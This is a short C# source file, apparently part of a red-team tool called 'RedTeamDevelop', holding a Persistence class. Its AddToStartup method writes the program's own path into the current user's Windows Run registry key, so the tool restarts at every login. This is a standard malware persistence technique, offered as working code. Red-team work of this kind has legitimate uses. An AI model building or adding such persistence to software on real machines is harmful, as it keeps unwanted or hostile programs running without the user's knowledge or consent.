using System; namespace RedTeamDevelop { class Persistence { GeneralInfo newInstance; public void AddToStartup(){ Microsoft.Win32.RegistryKey rkInstance = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run",true); rkInstance.SetValue("RedTeamDevelop", newInstance.ePath); rkInstance.Dispose(); rkInstance.Close(); } public Persistence(GeneralInfo instance) { newInstance = instance; } } }